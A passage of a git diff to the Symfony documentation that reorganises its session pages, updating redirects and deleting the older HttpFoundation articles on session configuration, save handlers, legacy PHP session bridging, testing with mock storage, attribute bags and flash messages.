+/cookbook/locale_sticky_session /session#locale-sticky-session
 /cookbook/session/php_bridge /session/php_bridge
 /cookbook/session/proxy_examples /session/proxy_examples
 /cookbook/session/sessions_directory /session/sessions_directory
@@ -477,8 +478,9 @@
 /components/translation/custom_message_formatter https://github.com/symfony/translation
 /components/notifier https://github.com/symfony/notifier
 /components/routing https://github.com/symfony/routing
-/doctrine/pdo_session_storage /session/database
-/doctrine/mongodb_session_storage /session/database
+/session/database /session#session-database
+/doctrine/pdo_session_storage /session#session-database-pdo
+/doctrine/mongodb_session_storage /session#session-database-mongodb
 /components/dotenv https://github.com/symfony/dotenv
 /components/mercure /mercure
 /components/polyfill_apcu https://github.com/symfony/polyfill-apcu
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 8780745738c..062a21e4e87 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -752,7 +752,7 @@ the response content will look like this:
 Session
 -------
 
-The session information is in its own document: :doc:`/components/http_foundation/sessions`.
+The session information is in its own document: :doc:`/session`.
 
 Safe Content Preference
 -----------------------
@@ -829,10 +829,9 @@ Learn More
     :maxdepth: 1
     :glob:
 
-    /components/http_foundation/*
     /controller
     /controller/*
-    /session/*
+    /session
     /http_cache/*
 
 .. _nginx: https://www.nginx.com/resources/wiki/start/topics/examples/xsendfile/
diff --git a/components/http_foundation/session_configuration.rst b/components/http_foundation/session_configuration.rst
deleted file mode 100644
index f8efaf0fd18..00000000000
--- a/components/http_foundation/session_configuration.rst
+++ /dev/null
@@ -1,321 +0,0 @@
-.. index::
-   single: HTTP
-   single: HttpFoundation, Sessions
-
-Configuring Sessions and Save Handlers
-======================================
-
-This article deals with how to configure session management and fine tune it
-to your specific needs. This documentation covers save handlers, which
-store and retrieve session data, and configuring session behavior.
-
-Save Handlers
-~~~~~~~~~~~~~
-
-The PHP session workflow has 6 possible operations that may occur. The normal
-session follows ``open``, ``read``, ``write`` and ``close``, with the possibility
-of ``destroy`` and ``gc`` (garbage collection which will expire any old sessions:
-``gc`` is called randomly according to PHP's configuration and if called, it is
-invoked after the ``open`` operation). You can read more about this at
-`php.net/session.customhandler`_
-
-Native PHP Save Handlers
-------------------------
-
-So-called native handlers, are save handlers which are either compiled into
-PHP or provided by PHP extensions, such as PHP-SQLite, PHP-Memcached and so on.
-
-All native save handlers are internal to PHP and as such, have no public facing API.
-They must be configured by ``php.ini`` directives, usually ``session.save_path`` and
-potentially other driver specific directives. Specific details can be found in
-the docblock of the ``setOptions()`` method of each class. For instance, the one
-provided by the Memcached extension can be found on :phpmethod:`php.net <Memcached::setOptions>`.
-
-While native save handlers can be activated by directly using
-``ini_set('session.save_handler', $name);``, Symfony provides a convenient way to
-activate these in the same way as it does for custom handlers.
-
-Symfony provides drivers for the following native save handler as an example:
-
-* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\NativeFileSessionHandler`
-
-Example usage::
-
-    use Symfony\Component\HttpFoundation\Session\Session;
-    use Symfony\Component\HttpFoundation\Session\Storage\Handler\NativeFileSessionHandler;
-    use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage;
-
-    $sessionStorage = new NativeSessionStorage([], new NativeFileSessionHandler());
-    $session = new Session($sessionStorage);
-
-.. note::
-
-    With the exception of the ``files`` handler which is built into PHP and
-    always available, the availability of the other handlers depends on those
-    PHP extensions being active at runtime.
-
-.. note::
-
-    Native save handlers provide a quick solution to session storage, however,
-    in complex systems where you need more control, custom save handlers may
-    provide more freedom and flexibility. Symfony provides several implementations
-    which you may further customize as required.
-
-Custom Save Handlers
---------------------
-
-Custom handlers are those which completely replace PHP's built-in session save
-handlers by providing six callback functions which PHP calls internally at
-various points in the session workflow.
-
-The Symfony HttpFoundation component provides some by default and these can
-serve as examples if you wish to write your own.
-
-* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler`
-* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler`
-* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MigratingSessionHandler`
-* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\RedisSessionHandler`
-* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MongoDbSessionHandler`
-* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\NullSessionHandler`
-
-Example usage::
-
-    use Symfony\Component\HttpFoundation\Session\Session;
-    use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
-    use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage;
-
-    $pdo = new \PDO(...);
-    $sessionStorage = new NativeSessionStorage([], new PdoSessionHandler($pdo));
-    $session = new Session($sessionStorage);
-
-Migrating Between Save Handlers
--------------------------------
-
-If your application changes the way sessions are stored, use the
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MigratingSessionHandler`
-to migrate between old and new save handlers without losing session data.
-
-This is the recommended migration workflow:
-
-#. Switch to the migrating handler, with your new handler as the write-only one.
-   The old handler behaves as usual and sessions get written to the new one::
-
-       $sessionStorage = new MigratingSessionHandler($oldSessionStorage, $newSessionStorage);
-
-#. After your session gc period, verify that the data in the new handler is correct.
-#. Update the migrating handler to use the old handler as the write-only one, so
-   the sessions will now be read from the new handler. This step allows easier rollbacks::
-
-       $sessionStorage = new MigratingSessionHandler($newSessionStorage, $oldSessionStorage);
-
-#. After verifying that the sessions in your application are working, switch
-   from the migrating handler to the new handler.
-
-Configuring PHP Sessions
-~~~~~~~~~~~~~~~~~~~~~~~~
-
-The :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`
-can configure most of the ``php.ini`` configuration directives which are documented
-at `php.net/session.configuration`_.
-
-To configure these settings, pass the keys (omitting the initial ``session.`` part
-of the key) as a key-value array to the ``$options`` constructor argument.
-Or set them via the
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage::setOptions`
-method.
-
-For the sake of clarity, some key options are explained in this documentation.
-
-Session Cookie Lifetime
-~~~~~~~~~~~~~~~~~~~~~~~
-
-For security, session tokens are generally recommended to be sent as session cookies.
-You can configure the lifetime of session cookies by specifying the lifetime
-(in seconds) using the ``cookie_lifetime`` key in the constructor's ``$options``
-argument in :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`.
-
-Setting a ``cookie_lifetime`` to ``0`` will cause the cookie to live only as
-long as the browser remains open. Generally, ``cookie_lifetime`` would be set to
-a relatively large number of days, weeks or months. It is not uncommon to set
-cookies for a year or more depending on the application.
-
-Since session cookies are just a client-side token, they are less important in
-controlling the fine details of your security settings which ultimately can only
-be securely controlled from the server side.
-
-.. note::
-
-    The ``cookie_lifetime`` setting is the number of seconds the cookie should live
-    for, it is not a Unix timestamp. The resulting session cookie will be stamped
-    with an expiry time of ``time()`` + ``cookie_lifetime`` where the time is taken
-    from the server.
-
-Configuring Garbage Collection
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When a session opens, PHP will call the ``gc`` handler randomly according to the
-probability set by ``session.gc_probability`` / ``session.gc_divisor`` in ``php.ini``.
-For example if these were set to ``5/100``, it would mean a probability of 5%.
-
-If the garbage collection handler is invoked, PHP will pass the value of
-``session.gc_maxlifetime``, meaning that any stored session that was saved more
-than ``gc_maxlifetime`` seconds ago should be deleted. This allows to expire records
-based on idle time.
-
-However, some operating systems (e.g. Debian) do their own session handling and set
-the ``session.gc_probability`` directive to ``0`` to stop PHP doing garbage
-collection. That's why Symfony now overwrites this value to ``1``.
-
-If you wish to use the original value set in your ``php.ini``, add the following
-configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            session:
-                gc_probability: null
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
-        >
-            <framework:config>
-                <framework:session gc-probability="null"/>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->extension('framework', [
-                'session' => [
-                    'gc_probability' => null,
-                ],
-            ]);
-        };
-
-You can configure these settings by passing ``gc_probability``, ``gc_divisor``
-and ``gc_maxlifetime`` in an array to the constructor of
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`
-or to the :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage::setOptions`
-method.
-
-Session Lifetime
-~~~~~~~~~~~~~~~~
-
-When a new session is created, meaning Symfony issues a new session cookie
-to the client, the cookie will be stamped with an expiry time. This is
-calculated by adding the PHP runtime configuration value in
-``session.cookie_lifetime`` with the current server time.
-
-.. note::
-
-    PHP will only issue a cookie once. The client is expected to store that cookie
-    for the entire lifetime. A new cookie will only be issued when the session is
-    destroyed, the browser cookie is deleted, or the session ID is regenerated
-    using the ``migrate()`` or ``invalidate()`` methods of the ``Session`` class.
-
-    The initial cookie lifetime can be set by configuring ``NativeSessionStorage``
-    using the ``setOptions(['cookie_lifetime' => 1234])`` method.
-
-.. note::
-
-    A cookie lifetime of ``0`` means the cookie expires when the browser is closed.
-
-Session Idle Time/Keep Alive
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-There are often circumstances where you may want to protect, or minimize
-unauthorized use of a session when a user steps away from their terminal while
-logged in by destroying the session after a certain period of idle time. For
-example, it is common for banking applications to log the user out after just
-5 to 10 minutes of inactivity. Setting the cookie lifetime here is not
-appropriate because that can be manipulated by the client, so we must do the expiry
-on the server side. The easiest way is to implement this via garbage collection
-which runs reasonably frequently. The ``cookie_lifetime`` would be set to a
-relatively high value, and the garbage collection ``gc_maxlifetime`` would be set
-to destroy sessions at whatever the desired idle period is.
-
-The other option is specifically check if a session has expired after the
-session is started. The session can be destroyed as required. This method of
-processing can allow the expiry of sessions to be integrated into the user
-experience, for example, by displaying a message.
-
-Symfony records some basic metadata about each session to give you complete
-freedom in this area.
-
-Session Cache Limiting
-~~~~~~~~~~~~~~~~~~~~~~
-
-To avoid users seeing stale data, it's common for session-enabled resources to be
-sent with headers that disable caching. For this purpose PHP Sessions has the
-``sessions.cache_limiter`` option, which determines which headers, if any, will be
-sent with the response when the session in started.
-
-Upon construction,
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`
-sets this global option to ``""`` (send no headers) in case the developer wishes to
-use a :class:`Symfony\\Component\\HttpFoundation\\Response` object to manage
-response headers.
-
-.. caution::
-
-    If you rely on PHP Sessions to manage HTTP caching, you *must* manually set the
-    ``cache_limiter`` option in
-    :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`
-    to a non-empty value.
-
-    For example, you may set it to PHP's default value during construction:
-
-    Example usage::
-
-        use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage;
-
-        $options['cache_limiter'] = session_cache_limiter();
-        $sessionStorage = new NativeSessionStorage($options);
-
-Session Metadata
-~~~~~~~~~~~~~~~~
-
-Sessions are decorated with some basic metadata to enable fine control over the
-security settings. The session object has a getter for the metadata,
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getMetadataBag` which
-exposes an instance of :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\MetadataBag`::
-
-    $session->getMetadataBag()->getCreated();
-    $session->getMetadataBag()->getLastUsed();
-
-Both methods return a Unix timestamp (relative to the server).
-
-This metadata can be used to explicitly expire a session on access, e.g.::
-
-    $session->start();
-    if (time() - $session->getMetadataBag()->getLastUsed() > $maxIdleTime) {
-        $session->invalidate();
-        throw new SessionExpired(); // redirect to expired session page
-    }
-
-It is also possible to tell what the ``cookie_lifetime`` was set to for a
-particular cookie by reading the ``getLifetime()`` method::
-
-    $session->getMetadataBag()->getLifetime();
-
-The expiry time of the cookie can be determined by adding the created
-timestamp and the lifetime.
-
-.. _`php.net/session.customhandler`: https://www.php.net/session.customhandler
-.. _`php.net/session.configuration`: https://www.php.net/session.configuration
diff --git a/components/http_foundation/session_php_bridge.rst b/components/http_foundation/session_php_bridge.rst
deleted file mode 100644
index 00f57e59e4f..00000000000
--- a/components/http_foundation/session_php_bridge.rst
+++ /dev/null
@@ -1,48 +0,0 @@
-.. index::
-   single: HTTP
-   single: HttpFoundation, Sessions
-
-Integrating with Legacy Sessions
-================================
-
-Sometimes it may be necessary to integrate Symfony into a legacy application
-where you do not initially have the level of control you require.
-
-As stated elsewhere, Symfony Sessions are designed to replace the use of
-PHP's native ``session_*()`` functions and use of the ``$_SESSION``
-superglobal. Additionally, it is mandatory for Symfony to start the session.
-
-However, when there really are circumstances where this is not possible, you
-can use a special storage bridge
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\PhpBridgeSessionStorage`
-which is designed to allow Symfony to work with a session started outside of
-the Symfony HttpFoundation component. You are warned that things can interrupt
-this use-case unless you are careful: for example the legacy application
-erases ``$_SESSION``.
-
-A typical use of this might look like this::
-
-    use Symfony\Component\HttpFoundation\Session\Session;
-    use Symfony\Component\HttpFoundation\Session\Storage\PhpBridgeSessionStorage;
-
-    // legacy application configures session
-    ini_set('session.save_handler', 'files');
-    ini_set('session.save_path', '/tmp');
-    session_start();
-
-    // Get Symfony to interface with this existing session
-    $session = new Session(new PhpBridgeSessionStorage());
-
-    // symfony will now interface with the existing PHP session
-    $session->start();
-
-This will allow you to start using the Symfony Session API and allow migration
-of your application to Symfony sessions.
-
-.. note::
-
-    Symfony sessions store data like attributes in special 'Bags' which use a
-    key in the ``$_SESSION`` superglobal. This means that a Symfony session
-    cannot access arbitrary keys in ``$_SESSION`` that may be set by the legacy
-    application, although all the ``$_SESSION`` contents will be saved when
-    the session is saved.
diff --git a/components/http_foundation/session_testing.rst b/components/http_foundation/session_testing.rst
deleted file mode 100644
index 7d8a570c17e..00000000000
--- a/components/http_foundation/session_testing.rst
+++ /dev/null
@@ -1,58 +0,0 @@
-.. index::
-   single: HTTP
-   single: HttpFoundation, Sessions
-
-Testing with Sessions
-=====================
-
-Symfony is designed from the ground up with code-testability in mind. In order
-to test your code which utilizes sessions, we provide two separate mock storage
-mechanisms for both unit testing and functional testing.
-
-Testing code using real sessions is tricky because PHP's workflow state is global
-and it is not possible to have multiple concurrent sessions in the same PHP
-process.
-
-The mock storage engines simulate the PHP session workflow without actually
-starting one allowing you to test your code without complications. You may also
-run multiple instances in the same PHP process.
-
-The mock storage drivers do not read or write the system globals
-``session_id()`` or ``session_name()``. Methods are provided to simulate this if
-required:
-
-* :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface::getId`: Gets the
-  session ID.
-
-* :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface::setId`: Sets the
-  session ID.
-
-* :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface::getName`: Gets the
-  session name.
-
-* :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface::setName`: Sets the
-  session name.
-
-Unit Testing
-------------
-
-For unit testing where it is not necessary to persist the session, you should
-swap out the default storage engine with
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\MockArraySessionStorage`::
-
-    use Symfony\Component\HttpFoundation\Session\Session;
-    use Symfony\Component\HttpFoundation\Session\Storage\MockArraySessionStorage;
-
-    $session = new Session(new MockArraySessionStorage());
-
-Functional Testing
-------------------
-
-For functional testing where you may need to persist session data across
-separate PHP processes, change the storage engine to
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\MockFileSessionStorage`::
-
-    use Symfony\Component\HttpFoundation\Session\Session;
-    use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;
-
-    $session = new Session(new MockFileSessionStorage());
diff --git a/components/http_foundation/sessions.rst b/components/http_foundation/sessions.rst
deleted file mode 100644
index dfebd9cc326..00000000000
--- a/components/http_foundation/sessions.rst
+++ /dev/null
@@ -1,356 +0,0 @@
-.. index::
-   single: HTTP
-   single: HttpFoundation, Sessions
-
-Session Management
-==================
-
-The Symfony HttpFoundation component has a very powerful and flexible session
-subsystem which is designed to provide session management through a clear
-object-oriented interface using a variety of session storage drivers.
-
-Sessions are used via the :class:`Symfony\\Component\\HttpFoundation\\Session\\Session`
-implementation of :class:`Symfony\\Component\\HttpFoundation\\Session\\SessionInterface` interface.
-
-.. caution::
-
-    Make sure your PHP session isn't already started before using the Session
-    class. If you have a legacy session system that starts your session, see
-    :doc:`Legacy Sessions </components/http_foundation/session_php_bridge>`.
-
-Quick example::
-
-    use Symfony\Component\HttpFoundation\Session\Session;
-
-    $session = new Session();
-    $session->start();
-
-    // set and get session attributes
-    $session->set('name', 'Drak');
-    $session->get('name');
-
-    // set flash messages
-    $session->getFlashBag()->add('notice', 'Profile updated');
-
-    // retrieve messages
-    foreach ($session->getFlashBag()->get('notice', []) as $message) {
-        echo '<div class="flash-notice">'.$message.'</div>';
-    }
-
-.. note::
-
-    Symfony sessions are designed to replace several native PHP functions.
-    Applications should avoid using ``session_start()``, ``session_regenerate_id()``,
-    ``session_id()``, ``session_name()``, and ``session_destroy()`` and instead
-    use the APIs in the following section.
-
-.. note::
-
-    While it is recommended to explicitly start a session, a session will actually
-    start on demand, that is, if any session request is made to read/write session
-    data.
-
-.. caution::
-
-    Symfony sessions are incompatible with ``php.ini`` directive ``session.auto_start = 1``
-    This directive should be turned off in ``php.ini``, in the web server directives or
-    in ``.htaccess``.
-
-Session API
-~~~~~~~~~~~
-
-The :class:`Symfony\\Component\\HttpFoundation\\Session\\Session` class implements
-:class:`Symfony\\Component\\HttpFoundation\\Session\\SessionInterface`.
-
-The :class:`Symfony\\Component\\HttpFoundation\\Session\\Session` has the
-following API, divided into a couple of groups.
-
-Session Workflow
-................
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::start`
-    Starts the session - do not use ``session_start()``.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::migrate`
-    Regenerates the session ID - do not use ``session_regenerate_id()``.
-    This method can optionally change the lifetime of the new cookie that will
-    be emitted by calling this method.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::invalidate`
-    Clears all session data and regenerates session ID. Do not use ``session_destroy()``.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getId`
-    Gets the session ID. Do not use ``session_id()``.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::setId`
-    Sets the session ID. Do not use ``session_id()``.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getName`
-    Gets the session name. Do not use ``session_name()``.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::setName`
-    Sets the session name. Do not use ``session_name()``.
-
-Session Attributes
-..................
-
-The session attributes are stored internally in a "Bag", a PHP object that acts
-like an array. They can be set, removed, checked, etc. using the methods
-explained later in this article for the ``AttributeBagInterface`` class. See
-:ref:`attribute-bag-interface`.
-
-In addition, a few methods exist for "Bag" management:
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::registerBag`
-    Registers a :class:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface`.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getBag`
-    Gets a :class:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface` by
-    bag name.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getFlashBag`
-    Gets the :class:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface`.
-    This is just a shortcut for convenience.
-
-Session Metadata
-................
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Session::getMetadataBag`
-    Gets the :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\MetadataBag`
-    which contains information about the session.
-
-Session Data Management
-~~~~~~~~~~~~~~~~~~~~~~~
-
-PHP's session management requires the use of the ``$_SESSION`` super-global,
-however, this interferes somewhat with code testability and encapsulation in an
-OOP paradigm. To help overcome this, Symfony uses *session bags* linked to the
-session to encapsulate a specific dataset of attributes or flash messages.
-
-This approach also mitigates namespace pollution within the ``$_SESSION``
-super-global because each bag stores all its data under a unique namespace.
-This allows Symfony to peacefully co-exist with other applications or libraries
-that might use the ``$_SESSION`` super-global and all data remains completely
-compatible with Symfony's session management.
-
-Symfony provides two kinds of storage bags, with two separate implementations.
-Everything is written against interfaces so you may extend or create your own
-bag types if necessary.
-
-:class:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface` has
-the following API which is intended mainly for internal purposes:
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface::getStorageKey`
-    Returns the key which the bag will ultimately store its array under in ``$_SESSION``.
-    Generally this value can be left at its default and is for internal use.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface::initialize`
-    This is called internally by Symfony session storage classes to link bag data
-    to the session.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface::getName`
-    Returns the name of the session bag.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface::clear`
-    Clears out data from the bag.
-
-.. _attribute-bag-interface:
-
-Attributes
-~~~~~~~~~~
-
-The purpose of the bags implementing the :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface`
-is to handle session attribute storage. This might include things like user ID,
-and "Remember Me" login settings or other user based state information.
-
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag`
-    This is the standard default implementation.
-
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`
-    This implementation allows for attributes to be stored in a structured namespace.
-
-    .. deprecated:: 5.3
-
-        The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
-        If you need this feature, you will have to implement the class yourself.
-
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface`
-has the API
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::set`
-    Sets an attribute by name (``set('name', 'value')``).
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::get`
-    Gets an attribute by name (``get('name')``) and can define a default
-    value when the attribute doesn't exist (``get('name', 'default_value')``).
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::all`
-    Gets all attributes as an associative array of ``name => value``.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::has`
-    Returns ``true`` if the attribute exists.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::replace`
-    Sets multiple attributes at once using an associative array (``name => value``).
-    If the attributes existed, they are replaced; if not, they are created.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::remove`
-    Deletes an attribute by name and returns its value.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface::clear`
-    Deletes all attributes.
-
-Example::
-
-    use Symfony\Component\HttpFoundation\Session\Attribute\AttributeBag;
-    use Symfony\Component\HttpFoundation\Session\Session;
-    use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage;
-
-    $session = new Session(new NativeSessionStorage(), new AttributeBag());
-    $session->set('token', 'a6c1e0b6');
-    // ...
-    $token = $session->get('token');
-    // if the attribute may or may not exist, you can define a default value for it
-    $token = $session->get('attribute-name', 'default-attribute-value');
-    // ...
-    $session->clear();
-
-.. _namespaced-attributes:
-
-Namespaced Attributes
-.....................
-
-Any plain key-value storage system is limited in the extent to which
-complex data can be stored since each key must be unique. You can achieve
-namespacing by introducing a naming convention to the keys so different parts of
-your application could operate without clashing. For example, ``module1.foo`` and
-``module2.foo``. However, sometimes this is not very practical when the attributes
-data is an array, for example a set of tokens. In this case, managing the array
-becomes a burden because you have to retrieve the array then process it and
-store it again::
-
-    $tokens = [
-        'tokens' => [
-            'a' => 'a6c1e0b6',
-            'b' => 'f4a7b1f3',
-        ],
-    ];
-
-So any processing of this might quickly get ugly, even adding a token to the array::
-
-    $tokens = $session->get('tokens');
-    $tokens['c'] = $value;
-    $session->set('tokens', $tokens);
-
-.. deprecated:: 5.3
-
-    The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
-    If you need this feature, you will have to implement the class yourself.
-
-With structured namespacing, the key can be translated to the array
-structure like this using a namespace character (which defaults to ``/``)::
-
-    // ...
-    use Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag;
-
-    $session = new Session(new NativeSessionStorage(), new NamespacedAttributeBag());
-    $session->set('tokens/c', $value);
-
-Flash Messages
-~~~~~~~~~~~~~~
-
-The purpose of the :class:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface`
-is to provide a way of setting and retrieving messages on a per session basis.
-The usual workflow would be to set flash messages in a request and to display them
-after a page redirect. For example, a user submits a form which hits an update
-controller, and after processing the controller redirects the page to either the
-updated page or an error page. Flash messages set in the previous page request
-would be displayed immediately on the subsequent page load for that session.
-This is however just one application for flash messages.
-
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\AutoExpireFlashBag`
-    In this implementation, messages set in one page-load will
-    be available for display only on the next page load. These messages will auto
-    expire regardless of if they are retrieved or not.
-
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBag`
-    In this implementation, messages will remain in the session until
-    they are explicitly retrieved or cleared. This makes it possible to use ESI
-    caching.
-
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface`
-has the API
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::add`
-    Adds a flash message to the stack of specified type.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::set`
-    Sets flashes by type; This method conveniently takes both single messages as
-    a ``string`` or multiple messages in an ``array``.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::get`
-    Gets flashes by type and clears those flashes from the bag.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::setAll`
-    Sets all flashes, accepts a keyed array of arrays ``type => [messages]``.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::all`
-    Gets all flashes (as a keyed array of arrays) and clears the flashes from the bag.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek`
-    Gets flashes by type (read only).
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peekAll`
-    Gets all flashes (read only) as a keyed array of arrays.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::has`
-    Returns true if the type exists, false if not.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::keys`
-    Returns an array of the stored flash types.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::clear`
-    Clears the bag.
-
-For simple applications it is usually sufficient to have one flash message per
-type, for example a confirmation notice after a form is submitted. However,
-flash messages are stored in a keyed array by flash ``$type`` which means your
-application can issue multiple messages for a given type. This allows the API
-to be used for more complex messaging in your application.
-
-Examples of setting multiple flashes::
-
-    use Symfony\Component\HttpFoundation\Session\Session;
-
-    $session = new Session();
-    $session->start();
-
-    // add flash messages
-    $session->getFlashBag()->add(
-        'warning',
-        'Your config file is writable, it should be set read-only'
-    );
-    $session->getFlashBag()->add('error', 'Failed to update name');
-    $session->getFlashBag()->add('error', 'Another error');
-
-Displaying the flash messages might look as follows.
-
-Display one type of message::
-
-    // display warnings
-    foreach ($session->getFlashBag()->get('warning', []) as $message) {
-        echo '<div class="flash-warning">'.$message.'</div>';
-    }
-
-    // display errors
-    foreach ($session->getFlashBag()->get('error', []) as $message) {
-        echo '<div class="flash-error">'.$message.'</div>';
-    }
-
-Compact method to process display all flashes at once::
-
-    foreach ($session->getFlashBag()->all() as $type => $messages) {
-        foreach ($messages as $message) {
-            echo '<div class="flash-'.$type.'">'.$message.'</div>';
-        }
-    }
diff --git a/controller.rst b/controller.rst
index ee9bc0d410a..13537ce27c7 100644
--- a/controller.rst
+++ b/controller.rst
@@ -391,128 +391,44 @@ Request object.
    single: Controller; The session
    single: Session
 
-.. _session-intro:
-
 Managing the Session
 --------------------
 
-Symfony provides a session object that you can use to store information
-about the user between requests. Session is enabled by default, but will only be
-started if you read or write from it.
-
-Session storage and other configuration can be controlled under the
-:ref:`framework.session configuration <config-framework-session>` in
-``config/packages/framework.yaml``.
-
-To get the session, add an argument and type-hint it with
-:class:`Symfony\\Component\\HttpFoundation\\Session\\SessionInterface`::
-
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
-    // ...
-
-    public function index(SessionInterface $session): Response
-    {
-        // stores an attribute for reuse during a later user request
-        $session->set('foo', 'bar');
-
-        // gets the attribute set by another controller in another request
-        $foobar = $session->get('foobar');
-
-        // uses a default value if the attribute doesn't exist
-        $filters = $session->get('filters', []);
-
-        // ...
-    }
-
-Stored attributes remain in the session for the remainder of that user's session.
-
-For more info, see :doc:`/session`.
-
-.. index::
-   single: Session; Flash messages
-
-.. _flash-messages:
-
-Flash Messages
